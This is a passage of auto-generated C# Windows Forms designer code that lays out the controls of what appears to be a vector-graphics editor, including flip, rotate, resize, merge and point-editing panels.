System.Drawing.Color.White; this.textBox_sd_threshold.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.textBox_sd_threshold.Location = new System.Drawing.Point(11, 24); this.textBox_sd_threshold.Name = "textBox_sd_threshold"; this.textBox_sd_threshold.Size = new System.Drawing.Size(100, 25); this.textBox_sd_threshold.TabIndex = 9; this.textBox_sd_threshold.Text = "0"; // // button_sd_cancel // this.button_sd_cancel.BackColor = System.Drawing.Color.White; this.button_sd_cancel.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_sd_cancel.FlatAppearance.BorderSize = 2; this.button_sd_cancel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_sd_cancel.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_sd_cancel.Image = ((System.Drawing.Image)(resources.GetObject("button_sd_cancel.Image"))); this.button_sd_cancel.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_sd_cancel.Location = new System.Drawing.Point(8, 58); this.button_sd_cancel.Name = "button_sd_cancel"; this.button_sd_cancel.Size = new System.Drawing.Size(79, 33); this.button_sd_cancel.TabIndex = 3; this.button_sd_cancel.Text = "Cancel"; this.button_sd_cancel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_sd_cancel.UseVisualStyleBackColor = false; this.button_sd_cancel.Click += new System.EventHandler(this.button_sd_cancel_Click); // // button_sd_ok // this.button_sd_ok.BackColor = System.Drawing.Color.White; this.button_sd_ok.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_sd_ok.FlatAppearance.BorderSize = 2; this.button_sd_ok.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_sd_ok.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_sd_ok.Image = ((System.Drawing.Image)(resources.GetObject("button_sd_ok.Image"))); this.button_sd_ok.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_sd_ok.Location = new System.Drawing.Point(91, 58); this.button_sd_ok.Name = "button_sd_ok"; this.button_sd_ok.Size = new System.Drawing.Size(57, 33); this.button_sd_ok.TabIndex = 2; this.button_sd_ok.Text = "Ok"; this.button_sd_ok.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_sd_ok.UseVisualStyleBackColor = false; this.button_sd_ok.Click += new System.EventHandler(this.button_sd_ok_Click); // // panel_rotatec // this.panel_rotatec.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(207)))), ((int)(((byte)(218)))), ((int)(((byte)(235))))); this.panel_rotatec.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.panel_rotatec.Controls.Add(this.radioButton_270deg); this.panel_rotatec.Controls.Add(this.radioButton_180deg); this.panel_rotatec.Controls.Add(this.radioButton_90deg); this.panel_rotatec.Controls.Add(this.button_rot_cancel); this.panel_rotatec.Controls.Add(this.button_rot_ok); this.panel_rotatec.Location = new System.Drawing.Point(535, 151); this.panel_rotatec.Name = "panel_rotatec"; this.panel_rotatec.Size = new System.Drawing.Size(171, 123); this.panel_rotatec.TabIndex = 42; this.panel_rotatec.Visible = false; // // radioButton_270deg // this.radioButton_270deg.AutoSize = true; this.radioButton_270deg.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.radioButton_270deg.Location = new System.Drawing.Point(4, 52); this.radioButton_270deg.Name = "radioButton_270deg"; this.radioButton_270deg.Size = new System.Drawing.Size(138, 21); this.radioButton_270deg.TabIndex = 6; this.radioButton_270deg.TabStop = true; this.radioButton_270deg.Text = "Rotate by 270 deg"; this.radioButton_270deg.UseVisualStyleBackColor = true; // // radioButton_180deg // this.radioButton_180deg.AutoSize = true; this.radioButton_180deg.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.radioButton_180deg.Location = new System.Drawing.Point(4, 29); this.radioButton_180deg.Name = "radioButton_180deg"; this.radioButton_180deg.Size = new System.Drawing.Size(138, 21); this.radioButton_180deg.TabIndex = 5; this.radioButton_180deg.TabStop = true; this.radioButton_180deg.Text = "Rotate by 180 deg"; this.radioButton_180deg.UseVisualStyleBackColor = true; // // radioButton_90deg // this.radioButton_90deg.AutoSize = true; this.radioButton_90deg.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.radioButton_90deg.Location = new System.Drawing.Point(4, 6); this.radioButton_90deg.Name = "radioButton_90deg"; this.radioButton_90deg.Size = new System.Drawing.Size(130, 21); this.radioButton_90deg.TabIndex = 4; this.radioButton_90deg.TabStop = true; this.radioButton_90deg.Text = "Rotate by 90 deg"; this.radioButton_90deg.UseVisualStyleBackColor = true; // // button_rot_cancel // this.button_rot_cancel.BackColor = System.Drawing.Color.White; this.button_rot_cancel.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_rot_cancel.FlatAppearance.BorderSize = 2; this.button_rot_cancel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_rot_cancel.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_rot_cancel.Image = ((System.Drawing.Image)(resources.GetObject("button_rot_cancel.Image"))); this.button_rot_cancel.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_rot_cancel.Location = new System.Drawing.Point(24, 85); this.button_rot_cancel.Name = "button_rot_cancel"; this.button_rot_cancel.Size = new System.Drawing.Size(79, 33); this.button_rot_cancel.TabIndex = 3; this.button_rot_cancel.Text = "Cancel"; this.button_rot_cancel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_rot_cancel.UseVisualStyleBackColor = false; // // button_rot_ok // this.button_rot_ok.BackColor = System.Drawing.Color.White; this.button_rot_ok.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_rot_ok.FlatAppearance.BorderSize = 2; this.button_rot_ok.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_rot_ok.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_rot_ok.Image = ((System.Drawing.Image)(resources.GetObject("button_rot_ok.Image"))); this.button_rot_ok.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_rot_ok.Location = new System.Drawing.Point(109, 85); this.button_rot_ok.Name = "button_rot_ok"; this.button_rot_ok.Size = new System.Drawing.Size(57, 33); this.button_rot_ok.TabIndex = 2; this.button_rot_ok.Text = "Ok"; this.button_rot_ok.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_rot_ok.UseVisualStyleBackColor = false; // // panel_resize // this.panel_resize.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(207)))), ((int)(((byte)(218)))), ((int)(((byte)(235))))); this.panel_resize.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.panel_resize.Controls.Add(this.textBox_newwith); this.panel_resize.Controls.Add(this.label_newwidth); this.panel_resize.Controls.Add(this.label_newheight); this.panel_resize.Controls.Add(this.textBox_newheight); this.panel_resize.Controls.Add(this.checkBox_keepratio); this.panel_resize.Controls.Add(this.button_resize_cansel); this.panel_resize.Controls.Add(this.button_resize_ok); this.panel_resize.Location = new System.Drawing.Point(712, 33); this.panel_resize.Name = "panel_resize"; this.panel_resize.Size = new System.Drawing.Size(160, 158); this.panel_resize.TabIndex = 41; this.panel_resize.Visible = false; // // textBox_newwith // this.textBox_newwith.BackColor = System.Drawing.Color.White; this.textBox_newwith.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.textBox_newwith.Location = new System.Drawing.Point(21, 45); this.textBox_newwith.Name = "textBox_newwith"; this.textBox_newwith.Size = new System.Drawing.Size(100, 25); this.textBox_newwith.TabIndex = 5; // // label_newwidth // this.label_newwidth.AutoSize = true; this.label_newwidth.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.label_newwidth.Location = new System.Drawing.Point(3, 24); this.label_newwidth.Name = "label_newwidth"; this.label_newwidth.Size = new System.Drawing.Size(84, 17); this.label_newwidth.TabIndex = 8; this.label_newwidth.Text = "New width: "; // // label_newheight // this.label_newheight.AutoSize = true; this.label_newheight.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.label_newheight.Location = new System.Drawing.Point(3, 69); this.label_newheight.Name = "label_newheight"; this.label_newheight.Size = new System.Drawing.Size(86, 17); this.label_newheight.TabIndex = 7; this.label_newheight.Text = "New height: "; // // textBox_newheight // this.textBox_newheight.BackColor = System.Drawing.Color.White; this.textBox_newheight.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.textBox_newheight.Location = new System.Drawing.Point(21, 90); this.textBox_newheight.Name = "textBox_newheight"; this.textBox_newheight.Size = new System.Drawing.Size(100, 25); this.textBox_newheight.TabIndex = 6; // // checkBox_keepratio // this.checkBox_keepratio.AutoSize = true; this.checkBox_keepratio.Checked = true; this.checkBox_keepratio.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox_keepratio.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.checkBox_keepratio.Location = new System.Drawing.Point(6, 7); this.checkBox_keepratio.Name = "checkBox_keepratio"; this.checkBox_keepratio.Size = new System.Drawing.Size(139, 21); this.checkBox_keepratio.TabIndex = 4; this.checkBox_keepratio.Text = "Keep Aspect Ratio"; this.checkBox_keepratio.UseVisualStyleBackColor = true; // // button_resize_cansel // this.button_resize_cansel.BackColor = System.Drawing.Color.White; this.button_resize_cansel.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_resize_cansel.FlatAppearance.BorderSize = 2; this.button_resize_cansel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_resize_cansel.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_resize_cansel.Image = ((System.Drawing.Image)(resources.GetObject("button_resize_cansel.Image"))); this.button_resize_cansel.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_resize_cansel.Location = new System.Drawing.Point(15, 119); this.button_resize_cansel.Name = "button_resize_cansel"; this.button_resize_cansel.Size = new System.Drawing.Size(79, 33); this.button_resize_cansel.TabIndex = 3; this.button_resize_cansel.Text = "Cancel"; this.button_resize_cansel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_resize_cansel.UseVisualStyleBackColor = false; this.button_resize_cansel.Click += new System.EventHandler(this.button2_Click); // // button_resize_ok // this.button_resize_ok.BackColor = System.Drawing.Color.White; this.button_resize_ok.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_resize_ok.FlatAppearance.BorderSize = 2; this.button_resize_ok.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_resize_ok.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_resize_ok.Image = ((System.Drawing.Image)(resources.GetObject("button_resize_ok.Image"))); this.button_resize_ok.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_resize_ok.Location = new System.Drawing.Point(98, 119); this.button_resize_ok.Name = "button_resize_ok"; this.button_resize_ok.Size = new System.Drawing.Size(57, 33); this.button_resize_ok.TabIndex = 2; this.button_resize_ok.Text = "Ok"; this.button_resize_ok.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_resize_ok.UseVisualStyleBackColor = false; this.button_resize_ok.Click += new System.EventHandler(this.button3_Click); // // panel_flip // this.panel_flip.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(207)))), ((int)(((byte)(218)))), ((int)(((byte)(235))))); this.panel_flip.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.panel_flip.Controls.Add(this.button_flip_cancel); this.panel_flip.Controls.Add(this.button_flip_ok); this.panel_flip.Controls.Add(this.radioButton_yflip); this.panel_flip.Controls.Add(this.radioButton_xflip); this.panel_flip.Location = new System.Drawing.Point(535, 33); this.panel_flip.Name = "panel_flip"; this.panel_flip.Size = new System.Drawing.Size(153, 107); this.panel_flip.TabIndex = 40; this.panel_flip.Visible = false; // // button_flip_cancel // this.button_flip_cancel.BackColor = System.Drawing.Color.White; this.button_flip_cancel.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_flip_cancel.FlatAppearance.BorderSize = 2; this.button_flip_cancel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_flip_cancel.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_flip_cancel.Image = ((System.Drawing.Image)(resources.GetObject("button_flip_cancel.Image"))); this.button_flip_cancel.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_flip_cancel.Location = new System.Drawing.Point(4, 69); this.button_flip_cancel.Name = "button_flip_cancel"; this.button_flip_cancel.Size = new System.Drawing.Size(79, 33); this.button_flip_cancel.TabIndex = 3; this.button_flip_cancel.Text = "Cancel"; this.button_flip_cancel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_flip_cancel.UseVisualStyleBackColor = false; this.button_flip_cancel.Click += new System.EventHandler(this.button_flip_cancel_Click); // // button_flip_ok // this.button_flip_ok.BackColor = System.Drawing.Color.White; this.button_flip_ok.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_flip_ok.FlatAppearance.BorderSize = 2; this.button_flip_ok.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_flip_ok.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_flip_ok.Image = ((System.Drawing.Image)(resources.GetObject("button_flip_ok.Image"))); this.button_flip_ok.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_flip_ok.Location = new System.Drawing.Point(89, 69); this.button_flip_ok.Name = "button_flip_ok"; this.button_flip_ok.Size = new System.Drawing.Size(57, 33); this.button_flip_ok.TabIndex = 2; this.button_flip_ok.Text = "Ok"; this.button_flip_ok.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_flip_ok.UseVisualStyleBackColor = false; this.button_flip_ok.Click += new System.EventHandler(this.button_flip_ok_Click); // // radioButton_yflip // this.radioButton_yflip.AutoSize = true; this.radioButton_yflip.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.radioButton_yflip.Location = new System.Drawing.Point(3, 32); this.radioButton_yflip.Name = "radioButton_yflip"; this.radioButton_yflip.Size = new System.Drawing.Size(62, 21); this.radioButton_yflip.TabIndex = 1; this.radioButton_yflip.TabStop = true; this.radioButton_yflip.Text = "Y Flip"; this.radioButton_yflip.UseVisualStyleBackColor = true; // // radioButton_xflip // this.radioButton_xflip.AutoSize = true; this.radioButton_xflip.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.radioButton_xflip.Location = new System.Drawing.Point(3, 9); this.radioButton_xflip.Name = "radioButton_xflip"; this.radioButton_xflip.Size = new System.Drawing.Size(62, 21); this.radioButton_xflip.TabIndex = 0; this.radioButton_xflip.TabStop = true; this.radioButton_xflip.Text = "X Flip"; this.radioButton_xflip.UseVisualStyleBackColor = true; // // loadingCircle2 // this.loadingCircle2.Active = false; this.loadingCircle2.BackColor = System.Drawing.SystemColors.ControlLight; this.loadingCircle2.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("loadingCircle2.BackgroundImage"))); this.loadingCircle2.Color = System.Drawing.SystemColors.MenuHighlight; this.loadingCircle2.ForeColor = System.Drawing.Color.Transparent; this.loadingCircle2.InnerCircleRadius = 5; this.loadingCircle2.Location = new System.Drawing.Point(165, 50); this.loadingCircle2.Name = "loadingCircle2"; this.loadingCircle2.NumberSpoke = 12; this.loadingCircle2.OuterCircleRadius = 11; this.loadingCircle2.RotationSpeed = 100; this.loadingCircle2.Size = new System.Drawing.Size(75, 75); this.loadingCircle2.SpokeThickness = 2; this.loadingCircle2.StylePreset = MRG.Controls.UI.LoadingCircle.StylePresets.MacOSX; this.loadingCircle2.TabIndex = 39; this.loadingCircle2.Text = "loadingCircle2"; this.loadingCircle2.UseWaitCursor = true; this.loadingCircle2.Visible = false; // // button1 // this.button1.BackColor = System.Drawing.Color.White; this.button1.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button1.FlatAppearance.BorderSize = 2; this.button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button1.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button1.Image = ((System.Drawing.Image)(resources.GetObject("button1.Image"))); this.button1.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button1.Location = new System.Drawing.Point(130, 6); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(72, 29); this.button1.TabIndex = 38; this.button1.Text = "Prev."; this.button1.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button1.UseVisualStyleBackColor = false; this.button1.Click += new System.EventHandler(this.button1_Click); // // label4 // this.label4.AutoSize = true; this.label4.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.label4.Location = new System.Drawing.Point(743, 3); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(117, 17); this.label4.TabIndex = 37; this.label4.Text = "2nd Vect preview"; // // label_ndresol // this.label_ndresol.AutoSize = true; this.label_ndresol.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.label_ndresol.Location = new System.Drawing.Point(520, 301); this.label_ndresol.Name = "label_ndresol"; this.label_ndresol.Size = new System.Drawing.Size(82, 17); this.label_ndresol.TabIndex = 36; this.label_ndresol.Text = "Resolution: "; // // label_2ndname // this.label_2ndname.AutoSize = true; this.label_2ndname.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.label_2ndname.Location = new System.Drawing.Point(520, 282); this.label_2ndname.Name = "label_2ndname"; this.label_2ndname.Size = new System.Drawing.Size(51, 17); this.label_2ndname.TabIndex = 35; this.label_2ndname.Text = "Name: "; // // pictureBox1 // this.pictureBox1.BackColor = System.Drawing.SystemColors.Control; this.pictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.pictureBox1.Location = new System.Drawing.Point(524, 25); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(350, 253); this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; this.pictureBox1.TabIndex = 34; this.pictureBox1.TabStop = false; // // loadingCircle1 // this.loadingCircle1.Active = false; this.loadingCircle1.BackColor = System.Drawing.SystemColors.ControlLight; this.loadingCircle1.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("loadingCircle1.BackgroundImage"))); this.loadingCircle1.Color = System.Drawing.SystemColors.MenuHighlight; this.loadingCircle1.ForeColor = System.Drawing.Color.Transparent; this.loadingCircle1.InnerCircleRadius = 5; this.loadingCircle1.Location = new System.Drawing.Point(275, 101); this.loadingCircle1.Name = "loadingCircle1"; this.loadingCircle1.NumberSpoke = 12; this.loadingCircle1.OuterCircleRadius = 11; this.loadingCircle1.RotationSpeed = 100; this.loadingCircle1.Size = new System.Drawing.Size(75, 75); this.loadingCircle1.SpokeThickness = 2; this.loadingCircle1.StylePreset = MRG.Controls.UI.LoadingCircle.StylePresets.MacOSX; this.loadingCircle1.TabIndex = 33; this.loadingCircle1.Text = "loadingCircle2"; this.loadingCircle1.UseWaitCursor = true; this.loadingCircle1.Visible = false; // // groupBox2 // this.groupBox2.Controls.Add(this.button_move); this.groupBox2.Controls.Add(this.button_delete); this.groupBox2.Controls.Add(this.button_merge); this.groupBox2.ForeColor = System.Drawing.SystemColors.ControlText; this.groupBox2.Location = new System.Drawing.Point(6, 264); this.groupBox2.Name = "groupBox2"; this.groupBox2.Size = new System.Drawing.Size(275, 59); this.groupBox2.TabIndex = 17; this.groupBox2.TabStop = false; this.groupBox2.Text = "Points"; // // button_move // this.button_move.BackColor = System.Drawing.Color.White; this.button_move.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_move.FlatAppearance.BorderSize = 2; this.button_move.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_move.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_move.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_move.Location = new System.Drawing.Point(184, 18); this.button_move.Name = "button_move"; this.button_move.Size = new System.Drawing.Size(83, 33); this.button_move.TabIndex = 9; this.button_move.Text = "Move"; this.button_move.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_move.UseVisualStyleBackColor = false; // // button_delete // this.button_delete.BackColor = System.Drawing.Color.White; this.button_delete.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_delete.FlatAppearance.BorderSize = 2; this.button_delete.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_delete.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_delete.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_delete.Location = new System.Drawing.Point(6, 18); this.button_delete.Name = "button_delete"; this.button_delete.Size = new System.Drawing.Size(83, 33); this.button_delete.TabIndex = 3; this.button_delete.Text = "Delete"; this.button_delete.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_delete.UseVisualStyleBackColor = false; this.button_delete.Click += new System.EventHandler(this.button_delete_Click); // // button_merge // this.button_merge.BackColor = System.Drawing.Color.White; this.button_merge.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_merge.FlatAppearance.BorderSize = 2; this.button_merge.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_merge.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_merge.Image = ((System.Drawing.Image)(resources.GetObject("button_merge.Image"))); this.button_merge.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_merge.Location = new System.Drawing.Point(95, 18); this.button_merge.Name = "button_merge"; this.button_merge.Size = new System.Drawing.Size(83, 33); this.button_merge.TabIndex = 4; this.button_merge.Text = "Merge"; this.button_merge.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_merge.UseVisualStyleBackColor = false; // // groupBox1 // this.groupBox1.Controls.Add(this.button_flip); this.groupBox1.Controls.Add(this.button_rotate); this.groupBox1.Controls.Add(this.button_resize); this.groupBox1.Controls.Add(this.button_rotatec); this.groupBox1.Controls.Add(this.button_smdelete); this.groupBox1.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.groupBox1.Location = new System.Drawing.Point(411, 6); this.groupBox1.Name = "groupBox1"; this.groupBox1.Size = new System.Drawing.Size(118, 254); this.groupBox1.TabIndex = 16; this.groupBox1.TabStop = false; this.groupBox1.Text = "Transform"; // // button_flip // this.button_flip.BackColor = System.Drawing.Color.White; this.button_flip.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_flip.FlatAppearance.BorderSize = 2; this.button_flip.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_flip.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_flip.Image = ((System.Drawing.Image)(resources.GetObject("button_flip.Image"))); this.button_flip.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_flip.Location = new System.Drawing.Point(6, 19); this.button_flip.Name = "button_flip"; this.button_flip.Size = new System.Drawing.Size(101, 37); this.button_flip.TabIndex = 10; this.button_flip.Text = "Flip"; this.button_flip.UseVisualStyleBackColor = false; this.button_flip.Click += new System.EventHandler(this.button_flip_Click); // // button_rotate // this.button_rotate.BackColor = System.Drawing.Color.White; this.button_rotate.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_rotate.FlatAppearance.BorderSize = 2; this.button_rotate.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_rotate.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_rotate.Image = ((System.Drawing.Image)(resources.GetObject("button_rotate.Image"))); this.button_rotate.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_rotate.Location = new System.Drawing.Point(6, 105); this.button_rotate.Name = "button_rotate"; this.button_rotate.Size = new System.Drawing.Size(101, 37); this.button_rotate.TabIndex = 11; this.button_rotate.Text = "Rotate"; this.button_rotate.UseVisualStyleBackColor = false; // // button_resize // this.button_resize.BackColor = System.Drawing.Color.White; this.button_resize.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_resize.FlatAppearance.BorderSize = 2; this.button_resize.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_resize.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_resize.Image = ((System.Drawing.Image)(resources.GetObject("button_resize.Image"))); this.button_resize.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_resize.Location = new System.Drawing.Point(6, 62); this.button_resize.Name = "button_resize"; this.button_resize.Size = new System.Drawing.Size(101, 37); this.button_resize.TabIndex = 14; this.button_resize.Text = "New Size"; this.button_resize.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_resize.UseVisualStyleBackColor = false; this.button_resize.Click += new System.EventHandler(this.button_resize_Click); // // button_rotatec // this.button_rotatec.BackColor = System.Drawing.Color.White; this.button_rotatec.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_rotatec.FlatAppearance.BorderSize = 2; this.button_rotatec.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_rotatec.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_rotatec.Image = ((System.Drawing.Image)(resources.GetObject("button_rotatec.Image"))); this.button_rotatec.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_rotatec.Location = new System.Drawing.Point(6, 210); this.button_rotatec.Name = "button_rotatec"; this.button_rotatec.Size = new System.Drawing.Size(101, 37); this.button_rotatec.TabIndex = 12; this.button_rotatec.Text = "Rotate C."; this.button_rotatec.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_rotatec.UseVisualStyleBackColor = false; this.button_rotatec.Click += new System.EventHandler(this.button_rotatec_Click); // // button_smdelete // this.button_smdelete.BackColor = System.Drawing.Color.White; this.button_smdelete.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_smdelete.FlatAppearance.BorderSize = 2; this.button_smdelete.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_smdelete.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_smdelete.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_smdelete.Location = new System.Drawing.Point(6, 152); this.button_smdelete.Name = "button_smdelete"; this.button_smdelete.Size = new System.Drawing.Size(101, 50); this.button_smdelete.TabIndex = 13; this.button_smdelete.Text = "Smart Delete"; this.button_smdelete.UseVisualStyleBackColor = false; this.button_smdelete.Click += new System.EventHandler(this.button_smdelete_Click); // // button_vectinfo // this.button_vectinfo.BackColor = System.Drawing.Color.White; this.button_vectinfo.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_vectinfo.FlatAppearance.BorderSize = 2; this.button_vectinfo.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_vectinfo.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_vectinfo.Image = ((System.Drawing.Image)(resources.GetObject("button_vectinfo.Image"))); this.button_vectinfo.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_vectinfo.Location = new System.Drawing.Point(293, 278); this.button_vectinfo.Name = "button_vectinfo"; this.button_vectinfo.Size = new System.Drawing.Size(75, 37); this.button_vectinfo.TabIndex = 15; this.button_vectinfo.Text = "Info"; this.button_vectinfo.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; this.button_vectinfo.UseVisualStyleBackColor = false; this.button_vectinfo.Click += new System.EventHandler(this.button_vectinfo_Click); // // label1 // this.label1.AutoSize = true; this.label1.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.label1.Location = new System.Drawing.Point(12, 14); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(100, 17); this.label1.TabIndex = 8; this.label1.Text = "Current Vector"; // // button_openvector // this.button_openvector.BackColor = System.Drawing.Color.White; this.button_openvector.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_openvector.FlatAppearance.BorderSize = 2; this.button_openvector.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_openvector.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_openvector.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_openvector.Location = new System.Drawing.Point(317, 6); this.button_openvector.Name = "button_openvector"; this.button_openvector.Size = new System.Drawing.Size(88, 31); this.button_openvector.TabIndex = 7; this.button_openvector.Text = "Browse"; this.button_openvector.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_openvector.UseVisualStyleBackColor = false; this.button_openvector.Click += new System.EventHandler(this.button_openvector_Click); // // comboBox1 // this.comboBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(28)))), ((int)(((byte)(28)))), ((int)(((byte)(28))))); this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.comboBox1.ForeColor = System.Drawing.SystemColors.Window; this.comboBox1.FormattingEnabled = true; this.comboBox1.Items.AddRange(new object[] { "Current", "Other"}); this.comboBox1.Location = new System.Drawing.Point(215, 8); this.comboBox1.Name = "comboBox1"; this.comboBox1.Size = new System.Drawing.Size(96, 25); this.comboBox1.TabIndex = 6; this.comboBox1.SelectedIndexChanged += new System.EventHandler(this.comboBox1_SelectedIndexChanged); // // treeView_pointsex // this.treeView_pointsex.BackColor = System.Drawing.SystemColors.Control; this.treeView_pointsex.Font = new System.Drawing.Font("Cambria", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); this.treeView_pointsex.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.treeView_pointsex.Location = new System.Drawing.Point(215, 43); this.treeView_pointsex.Name = "treeView_pointsex"; this.treeView_pointsex.Size = new System.Drawing.Size(190, 216); this.treeView_pointsex.TabIndex = 5; this.treeView_pointsex.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.treeView_pointsex_AfterSelect); // // treeView_points // this.treeView_points.BackColor = System.Drawing.SystemColors.Control; this.treeView_points.Font = new System.Drawing.Font("Cambria", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); this.treeView_points.ForeColor = 